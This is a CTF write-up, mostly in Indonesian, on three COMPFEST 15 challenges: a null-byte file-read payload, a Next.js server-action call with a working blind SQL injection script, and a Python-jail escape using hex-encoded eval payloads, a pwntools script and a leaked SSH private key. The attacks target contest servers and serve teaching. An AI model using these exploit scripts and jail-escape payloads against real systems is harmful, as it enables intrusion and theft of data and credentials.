COMPFEST 15
COMPaste
Web Exploitation
Null Byte
index.php.ts
Web Exploitation
SQLI, NextJS Server Action
napi
Misc
Py Jail
COMPaste
Description
Author: rorre
Obligatory pastebin clone. But people said that Python is slow, so I made the I/O in C! Now it is blazingly fast!
Hint: flag flag.txt
Summary
Melakukan bypass extend extension .txt dengan menggunakan nullbyte yaitu %00 untuk membaca file flag dan bukan flag.txt
Solution
Challenge website ini memiliki fungsionalitas untuk membuat sebuah note, dimana note ini nanti akan disimpan dan memiliki ID yang unique
Ketika dilihat, ternyata id tersebut dikirimkan lewat query params id, dan disini sempat berasumsi challenge ini vulnerable terhadap LFI, namun ketika dicoba tidak works
Long story short akhirnya ada hint yang menampilkan sebagai berikut
Hint ini memberikan sebuah clue, sebenarnya note tersebut disimpan didalam file dengan extension .txt, namun ketika diread pada query params id, tidak perlu menambahkan extension .txt, yang artinya berarti dari sisi source code sudah otomatis di append extension .txt.
Dan dari hint terlihat sebenarnya ada file flag dan flag.txt, dan sesuai objective disini, sepertinya file flag.txt isinya adalah fake flag dan diharuskan untuk membaca file flag.
Karena pada deskripsi terdapat kata - kata "C I/O", sepertinya extend extension tersebut bisa dibypass dengan menggunakan nullbyte injection, yaitu dengan mengirimkan urlencoded %00, sehingga payload yang dikirim ke query params adalah sebagai berikut
flag%00
Flag
COMPFEST15{NULL_4nD_C_stR1k3S_again_90dea8e9}
index.php.ts
Attachment
Description
Author: rorre
I love Next.js 13! The server actions dan components is very cool! It looks just like back then when I was writing PHP!
Summary
Melakukan execute function server actions yang tidak memiliki handler, namun dapat diexec ketika bisa tahu dari Next-Action ID nya, yang dapat dileak melalui builded source codenya, lalu melakukan SQLI untuk mendapatkan flag dari vulnerable server actions tersebut yaitu dengan melakukan leak credentials atau ID dari flag_owner table.
Solution
Pada challenge ini menggunakan framework NextJS 13, yang dimana baru saja dikenalkan dengan fitur barunya yaitu server actions.
Pada bagian source code indexnya ada bagian kode berikut
...snip...
export default async function Home() {
let uid = cookies().get("uid")?.value ?? "";
const db = await getConnection();
const rows = await db.all<Question>("SELECT * FROM questions WHERE uid = ?", [
uid,
]);
const flagRow = await db.get("SELECT * FROM flag_owner WHERE uid = ?", [uid]);
return (
<main>
<section className="flex min-h-screen flex-col items-center justify-center p-24 bg-black text-white gap-8">
<h1 className="font-bold text-2xl">Ask me anything!</h1>
{flagRow !== undefined && uid.length == 32 && (
<div className="px-4 py-2 font-semibold bg-green-500">
Congratulations! Here is your flag: {process.env.FLAG}
</div>
)}
<AskBox />
</section>
...snip...
Pada potongan kode diatas terdapat logic dimana flag disimpan dalam environment variable, dan untuk mendapatkannya value dari cookie uid harus available dalam table flag_owner.
Dan uid tersebut sebenarnya sifatnya adalah random, dan akan diset otomatis oleh middleware ketika uid tersebut belum diset ketika melakukan request, berikut kode middlewarenya
export function middleware(request: NextRequest) {
const response = NextResponse.next();
if (!request.cookies.has("uid")) {
const uid = generateId(32);
response.cookies.set("uid", uid);
request.cookies.set("uid", uid);
}
return response;
}
Setelah mengetahui bagaimana flag bisa didapatkan lanjut untuk menelusuri fungsionalitas webnya, sebenarnya web ini ditujukan untuk QnA website.
Berikut ada 2 function utama yang digunakan untuk melakukan fungsionalitas QnA tersebut
export async function newQuestion(question: string) {
const db = await getConnection();
await db.run("INSERT INTO questions(id, uid, question) VALUES (?, ?, ?)", [
generateId(64),
cookies().get("uid")!.value,
question,
]);
revalidatePath("/");
}
export async function answerQuestion(answer: string, id: string) {
if (hasBlacklist(id) || hasBlacklist(answer)) return;
const db = await getConnection();
await db.exec(
`UPDATE questions SET
answer="${escapeSql(answer)}"
WHERE id="${id}"`
);
revalidatePath("/");
}
Yang menarik disitu adalah pada bagian function answerQuestion terdapat exec sql yang vulnerable terhadap sql injection, karena tidak menggunakan bind parameter, namun terlihat input answer akan dimasukkan ke dalam function escapeSql dan juga pada awal awal dicek pada function hasBlacklist dari input answer dan id, berikut functionnya
const BLACKLIST = ["UPDATE", "DROP", "DELETE", "CREATE", "ALTER", "DROP"];
function hasBlacklist(s: string) {
for (const keyword of BLACKLIST) {
if (s.toLowerCase().replaceAll(" ", "").indexOf(keyword) != -1) {
return true;
}
}
return false;
}
export function escapeSql(str: string) {
return str.replace(/[\0\x08\x09\x1a\n\r"'\\\%]/g, function (char) {
switch (char) {
case "\0":
return "\\0";
case "\x08":
return "\\b";
case "\x09":
return "\\t";
case "\x1a":
return "\\z";
case "\n":
return "\\n";
case "\r":
return "\\r";
case '"':
case "'":
case "\\":
case "%":
return "\\" + char;
default:
return char;
}
});
}
Dari sini abaikan terlebih dahulu fungsionalitas tersebut, kita akan cari alur dari program tersebut hingga bisa melakukan call function answerQuestion tadi.
Ternyata answerQuestion tadi dicall pada component QuestionBox
"use client";
import { answerQuestion } from "@/app/actions";
import { Question } from "@/utils/db";
import React, { useRef } from "react";
export default function QuestionBox({
question,
isAdmin,
className,
}: {
question: Question;
isAdmin: boolean;
className?: string;
}) {
const ref = useRef<HTMLFormElement>(null);
return (
<div
className={`rounded-md p-4 flex flex-col gap-2 border border-black ${className}`}
>
<p>{question.question}</p>
<hr className="border-t-2 border-black" />
<p>{question.answer || "No answer yet"}</p>
{isAdmin.toString().substring(0, 1) === "true" && (
<form
className="flex flex-row gap-4 w-full"
ref={ref}
action={async (formData) => {
ref.current?.reset();
await answerQuestion(
formData.get("answer")?.toString() ?? "",
question.id
);
}}
>
<input className="hidden" name="id" value={question.id} />
<textarea
className="p-2 w-full border border-black rounded-md"
name="answer"
required
rows={1}
/>
<button
type="submit"
className="px-4 py-2 border border-black font-semibold rounded-md"
>
Send
</button>
</form>
)}
</div>
);
}
Namun, untuk menjalankan fungsionalitas form yang memanggil action answerQuestion maka props isAdmin harus bernilai true, namun jika dilihat pada render component tersebut defaultnya adalah false, bisa dilihat pada bagian berikut
...snip...
<section className="mx-auto container min-h-screen flex flex-col items-center py-8 px-4 gap-4 max-w-2xl">
<h1 className="font-bold text-2xl mb-4">My Questions</h1>
{rows.map((row) => (
<QuestionBox
key={row.id}
question={row}
className="w-full"
isAdmin={false}
/>
))}
</section>
...snip...
Ini yang mulai membuat challenge ini menjadi menarik, bagaimana seharusnya melakukan call function yang vulnerable tadi.
Oke, faktanya disini adalah kedua function askQuestion dan answerQuestion tadi adalah sebuah server action, dan server action sebenarnya juga dicall melalui http request seperti API biasa, namun dengan mengirimkan beberapa header request lain untuk bisa memanggil function dari server action yang sesuai.
Dan berikut adalah contoh network call dari function askQuestion, dimana secara default bisa untuk digunakan karena tidak ada kondisi apapun dalam source code
Ada network value yang menarik yaitu Next-Action dengan valuenya adalah random hex number, nah disini sebenarnya bisa diketahui bahwa setiap action memiliki unique id nya masing - masing, artinya function answerQuestion tadi dapat dicall juga bisa menemukan unique id nya. Nah sebenarnya unique id ini digenerate melalui file obfuscateActions.js
Dan untuk payload nya bisa dilihat bahwa pengirimannya menggunakan array, dan ini sesuai karena function askQuestion tadi hanya menerima 1 argument saja pada functionnya.
Oke, selanjutnya adalah mencari unique id dari action answerQuestion, yaitu dengan melihat source nya pada websitenya menggunakan inspect element dengan mengecek hasil compile javascriptnya, dan didapatkan hasil sebagai berikut
Berhasil untuk mendapatkan unique id nya yaitu 78a67fd227478c9f84cda58629c8cfd5afd7c002.
Oke selanjutnya adalah melakukan schema callnya, karena function answerQuestion menerima 2 argument, maka pengiriman datanya adalah menggunakan 2 value dalam 1 array, ilustrasi request sebagai berikut
Custom Header
Next-Action: 78a67fd227478c9f84cda58629c8cfd5afd7c002
Cookie
uid: <uid yang akan digunakan>
Payload
[
“Ini answer”,
“Ini adalah id question”
]
Selanjutnya adalah bagaimana cara mencari question id, coba untuk membuat questionnya terlebih dahulu
Lalu, karena call datanya ada pada server side, seharusnya datanya sudah diembed ke dalam hasil compiled source nya, coba cek pada view raw source
Bisa dilihat terdapat id dari questionnya yaitu ozhvx9Z55N66IGZDNcsUhcMmzMiN6Mk4jX2rsaf30GU4KfzlNg18pLb7XaQBESXR, beserta dengan uid user yang berelasi dengan question tersebut yaitu 8OtLWE4nIgVef07qsuFrRFMlgY5z9vK6.
Setelah ini, mencoba untuk melakukan call answerQuestion dengan schema sebelumnya, untuk memudahkan disini bisa menggunakan script python berikut
import requests
host = "http://34.101.122.7:10011"
action_token = "78a67fd227478c9f84cda58629c8cfd5afd7c002" # unique id answerQuestion
uid = "8OtLWE4nIgVef07qsuFrRFMlgY5z9vK6" # cookie uid
question_id = "ozhvx9Z55N66IGZDNcsUhcMmzMiN6Mk4jX2rsaf30GU4KfzlNg18pLb7XaQBESXR"
cookies = {"uid": uid}
headers = {"Next-Action": action_token}
data = f"""[
"ini adalah jawaban",
"{question_id}"
]"""
requests.post(host, cookies=cookies, headers=headers, data=data)
Lalu jalankan kode tersebut, dan lihat apakah akan ada answer pada question yang sebelumnya sudah dibuat
So yeah it's works, selanjutnya adalah melakukan sqli untuk melaukan leak uid dari table flag_owner. Flashback kembali dari blacklist tadi, yang sebenarnya bisa dilakukan adalah dengan melakukan inject pada question id nya, karena jika diinject pada bagian answer itu terlalu strict sekali.
Dan disini result yang dihasilkan adalah blind sql injection dengan metode boolean based, jadi untuk melakukannya berikut ada script automation untuk bisa mendapatkan atau melakukan leak uid dari table flag_owner tadi
import requests
from random import randrange
from hashlib import md5
import string
import time
host = "http://34.101.122.7:10011/"
action_token = "78a67fd227478c9f84cda58629c8cfd5afd7c002"
uid = "8OtLWE4nIgVef07qsuFrRFMlgY5z9vK6"
question_id = "ozhvx9Z55N66IGZDNcsUhcMmzMiN6Mk4jX2rsaf30GU4KfzlNg18pLb7XaQBESXR"
cookies = {"uid": uid}
headers = {"Next-Action": action_token}
possible = ",{}_" + string.printable[:-2]
def send_request(payload):
result = ""
i = 1
while True:
for idx, c in enumerate(possible):
unique_answer = md5(str(randrange(10000000)).encode()).hexdigest()
data = f"""[
"{unique_answer}",
"{question_id}\\" AND SUBSTR( ( {payload} ), {i}, 1 ) = '{c}' -- "
]"""
res = requests.post(host, cookies=cookies, headers=headers, data=data)
res = requests.get(host, cookies=cookies)
if unique_answer in res.text:
result += c
print(f"FOUND LETTER at {i}: {c}")
print(f"CURRENT RESULT: {result}")
time.sleep(1)
break
if idx == len(possible) - 1:
print(f"FINAL RESULT IS: {result}")
exit(0)
i += 1
send_request("SELECT GROUP_CONCAT(uid) FROM flag_owner")
Dan berikut sedikit screenshot ketika script tersebut dijalankan
Langsung saja ambil 32 karakter pertama sebelum tanda , [koma], karena panjang defaultnya adalah 32 karakter, lalu kemudian ubah cookie nya dengan uid tersebut, dan coba akses kembali halaman websitenya untuk mendapatkan flagnya
Perjalanan yang cukup panjang, but so yeah, we did it.
Flag
COMPFEST15{N0t_so_SSR_Alw4yS_cH3ck_f0r_R0le}
napi
Description
Author: k3ng
john is currently planning on escape from jail. Fortunately, he got a snippet of the jail source code from his cellmate. Can you help john to escape?
Summary
Melakukan escape dari python jail untuk bisa mendapatkan sebuah file private ssh key, yang nantinya bisa digunakan untuk mengakses ssh dari machine tersebut.
Solution
Diawal diberikan sedikit dari snippet source code dari program yang ada diserver, yaitu sebagai berikut
# ...
def main():
banned = ["eval", "exec", "import", "open", "system", "globals", "os", "password", "admin"]
print("--- Prisoner Limited Access System ---")
user = input("Enter your username: ")
if user == "john":
inp = input(f"{user} > ")
while inp != "exit":
for keyword in banned:
if keyword in inp.lower():
print(f"Cannot execute unauthorized input {inp}")
print("I told you our system is hack-proof.")
exit()
try:
eval(inp)
except Exception as e:
print(e)
print(f"Cannot execute {inp}")
inp = input(f"{user} > ")
elif user == "admin":
print("LOGGING IN TO ADMIN FROM PRISONER SHELL IS NOT ALLOWED")
print("SHUTTING DOWN...")
exit()
else:
print("User not found.")
# ...
Ada beberapa usable function yang dibanned, namun jika dilhat hanya nama function saja, lalu untuk masuk kepemrosesan eval function value user yang dimasukkan haruslah john.
Dari sini sebenarnya bisa untuk melakukan escape dari banned tersebut, yaitu dengan melakukan call kembali eval dan memasukkan input untuk diexec, namun dapat dibypass terlebih dahulu dengan menggunakan hex string, contoh untuk melakukan recover function eval bisa dilakukan seperti berikut
__builtins__.__dict__['\x65\x76\x61\x6c']
Disini, sebenarnya ingin memanggilkan builtin module dengan __import__, namun tidak bisa, sehingga selanjutnya coba kita lihat global variablenya yaitu dengan call globals function, yaitu dengan mengirimkan payload seperti berikut
print(__builtins__.__dict__['\x65\x76\x61\x6c']('\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29'))
hasilnya seperti berikut
➜ napi nc 34.101.122.7 10008
--- Prisoner Limited Access System ---
Enter your username: john
john > print(__builtins__.__dict__['\x65\x76\x61\x6c']('\x67\x6c\x6f\x62\x61\x6c\x73\x28\x29'))
{'__name__': '__main__', '__doc__': None, '__package__': None, '__loader__': <_frozen_importlib_external.SourceFileLoader object at 0x7fe2d4c05310>, '__spec__': None, '__annotations__': {}, '__builtins__': <module 'builtins' (built-in)>, '__file__': 'chall.py', '__cached__': None, 'password': <_io.TextIOWrapper name='creds.txt' mode='r' encoding='UTF-8'>, 'main': <function main at 0x7fe2d4bae0e0>, 'admin': <function admin at 0x7fe2d4bae4d0>}
john >
Ternyata nama file yang dijalankan adalah chall.py, selanjutnya untuk memudahkan prosesnya disini agar tidak harus melakukan crafting hex string nya secara manual, berikut automation script yang bisa digunakan
from pwn import *
p = remote("34.101.122.7", 10008, level="error")
def craft_hex(code):
result = []
for c in code:
result.append(hex(ord(c))[2:])
return r"\x" + r"\x".join(result)
def read_file(filename):
eval = f"__builtins__.__dict__['{craft_hex('eval')}']"
payload = f"print({eval}('" + craft_hex(f"open('{filename}').read()") + "'))"
return payload.encode()
def run_without_banned(code):
eval = f"__builtins__.__dict__['{craft_hex('eval')}']"
payload = f"print({eval}('" + craft_hex(code) + "'))"
print(payload)
return payload.encode()
p.sendlineafter(b"Enter your username:", b"john")
while True:
mode = int(input("Mode (1/2): "))
if mode == 1:
code = input(">>> ").strip()
p.sendlineafter(b">", run_without_banned(code))
elif mode == 2:
filename = input("f>>> ").strip()
p.sendlineafter(b">", read_file(filename))
else:
print("Invalid mode")
p.close()
exit()
data = p.recvuntil(b"john ").decode().replace("john", "").strip()
print(data)
print("\n")
Pertama leak isi dari chall.py, bisa didapatkan hal sebagai berikut yang sangat useable
Ternyata builtins method __import__ dihapus, sehingga tidak dapat melakukan import module dan mendapatkan shell.
Ada bagian menarik lagi pada file chall.py, yaitu sebagai berikut
hmm, disini ada file lagi notice.txt, kita akan coba read file tersebut untuk melihat isinya
Setelah didecode dari base64, hasilnya ada value dari RSA Private Key, asumsi disini ini adalah private ssh key yang dapat digunakan untuk masuk ke ssh, maka setelah itu coba untuk masukkan value tersebut kedalam file private.key, dan mencoba untuk masuk ke sshnya menggunakan username admin
Berhasil!!!
Flag
COMPFEST15{clo5e_y0ur_f1LE_0bj3ctS_plZzz___THXx_053fac8f23}
Last updated